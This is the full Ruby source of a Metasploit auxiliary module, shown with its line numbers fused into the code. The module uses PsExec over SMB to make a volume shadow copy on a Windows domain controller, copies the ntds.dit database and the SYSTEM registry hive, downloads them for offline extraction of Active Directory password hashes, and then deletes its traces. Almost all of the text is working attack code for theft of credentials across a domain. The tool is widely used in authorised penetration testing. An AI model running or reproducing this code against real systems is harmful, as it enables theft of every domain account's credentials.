Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client::Psexec9include Msf::Auxiliary::Report10include Msf::OptionalSession::SMB1112# Aliases for common classes13SIMPLE = Rex::Proto::SMB::SimpleClient14XCEPT= Rex::Proto::SMB::Exceptions15CONST= Rex::Proto::SMB::Constants161718def initialize(info = {})19super(update_info(info,20'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',21'Description'=> %q{22This module authenticates to an Active Directory Domain Controller and creates23a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the24ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM25hive copy can be used in combination with other tools for offline extraction of AD26password hashes. All of this is done without uploading a single binary to the27target host.28},29'Author' => [30'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__31],32'License'=> MSF_LICENSE,33'References' => [34[ 'URL', 'http://sourceforge.net/projects/smbexec' ],35[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ]36],37))3839register_options([40OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),41OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),42OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),43OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),44])4546end4748# This is the main control method49def run50# Initialize some variables51text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"52bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"53createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%"54@ip = datastore['RHOST']55@smbshare = datastore['SMBSHARE']56# Try and connect57if session58print_status("Using existing session #{session.sid}")59client = session.client60self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)61@ip = simple.address62else63return unless connect64# Try and authenticate with given credentials65begin66smb_login67rescue StandardError => autherror68print_error("Unable to authenticate with given credentials: #{autherror}")69return70end71end72# If a VSC was specified then don't try and create one73if datastore['VSCPATH'].length > 074print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")75vscpath = datastore['VSCPATH']76else77unless datastore['CREATE_NEW_VSC']78vscpath = check_vss(text, bat)79end80unless vscpath81vscpath = make_volume_shadow_copy(createvsc, text, bat)82end83end8485if vscpath86if copy_ntds(vscpath, text) and copy_sys_hive87download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"))88download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"))89else90print_error("Failed to find a volume shadow copy. Issuing cleanup command sequence.")91end92end93cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")94disconnect95end969798# Thids method will check if a Volume Shadow Copy already exists and use that rather99# then creating a new one100def check_vss(text, bat)101begin102print_status("Checking if a Volume Shadow Copy exists already.")103prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'104command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"105result = psexec(command)106data = smb_read_file(datastore['SMBSHARE'], @ip, text)107vscs = []108data.each_line { |line| vscs << line if line.include?("GLOBALROOT") }109if vscs.empty?110print_status("No VSC Found.")111return nil112end113vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp114print_good("Volume Shadow Copy exists on #{vscpath}")115return vscpath116rescue StandardError => vsscheckerror117print_error("Unable to determine if VSS is enabled: #{vsscheckerror}")118return nil119end120end121122123# Create a Volume Shadow Copy on the target host124def make_volume_shadow_copy(createvsc, text, bat)125begin126#Try to create the shadow copy127command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"128print_status("Creating Volume Shadow Copy")129out = psexec(command)130#Get path to Volume Shadow Copy131vscpath = get_vscpath(text)132rescue StandardError => vscerror133print_error("Unable to create the Volume Shadow Copy: #{vscerror}")134return nil135end136if vscpath137print_good("Volume Shadow Copy created on #{vscpath}")138return vscpath139else140return nil141end142end143144145# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host146def copy_ntds(vscpath, text)147begin148ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit"149command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"150run = psexec(command)151if !check_ntds(text)152return false153end154return true155rescue StandardError => ntdscopyerror156print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")157return false158end159end160161162# Checks if ntds.dit was copied to the Windows Temp directory163def check_ntds(text)164print_status("Checking if NTDS.dit was copied.")165check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"166run = psexec(check)167output = smb_read_file(@smbshare, @ip, text)168if output.include?("ntds")169return true170end171return false172end173174175# Copies the SYSTEM hive file to the Temp directory on the target host176def copy_sys_hive177begin178# Try to create the sys hive copy179command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"180return psexec(command)181rescue StandardError => hiveerror182print_error("Unable to copy the SYSTEM hive file: #{hiveerror}")183return false184end185end186187188# Download the ntds.dit copy to your attacking machine189def download_ntds(file)190print_status("Downloading ntds.dit file")191begin192# Try to download ntds.dit193simple.connect("\\\\#{@ip}\\#{@smbshare}")194remotefile = simple.open("#{file}", 'rob')195data = remotefile.read196remotefile.close197ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit")198print_good("ntds.dit stored at #{ntds_path}")199rescue StandardError => ntdsdownloaderror200print_error("Unable to download ntds.dit: #{ntdsdownloaderror}")201return ntdsdownloaderror202end203simple.disconnect("\\\\#{@ip}\\#{@smbshare}")204end205206207# Download the SYSTEM hive copy to your attacking machine208def download_sys_hive(file)209print_status("Downloading SYSTEM hive file")210begin211# Try to download SYSTEM hive212simple.connect("\\\\#{@ip}\\#{@smbshare}")213remotefile = simple.open("#{file}", 'rob')214data = remotefile.read215remotefile.close216hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive")217print_good("SYSTEM hive stored at #{hive_path}")218rescue StandardError => sysdownloaderror219print_error("Unable to download SYSTEM hive: #{sysdownloaderror}")220return sysdownloaderror221end222simple.disconnect("\\\\#{@ip}\\#{@smbshare}")223end224225226# Gets the path to the Volume Shadow Copy227def get_vscpath(file)228begin229prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'230vsc = ""231output = smb_read_file(@smbshare, @ip, file)232output.each_line do |line|233vsc += line if line.include?("GLOBALROOT")234end235return prepath + vsc.split("ShadowCopy")[1].chomp236rescue StandardError => vscpath_error237print_error("Could not determine the exact path to the VSC check your WINPATH")238return nil239end240end241242# Removes files created during execution.243def cleanup_after(*files)244simple.connect("\\\\#{@ip}\\#{@smbshare}")245print_status("Executing cleanup...")246files.each do |file|247begin248if smb_file_exist?(file)249smb_file_rm(file)250end251rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror252print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")253end254end255left = files.collect{ |f| smb_file_exist?(f) }256if left.any?257print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")258else259print_good("Cleanup was successful")260end261simple.disconnect("\\\\#{@ip}\\#{@smbshare}")262end263end264265266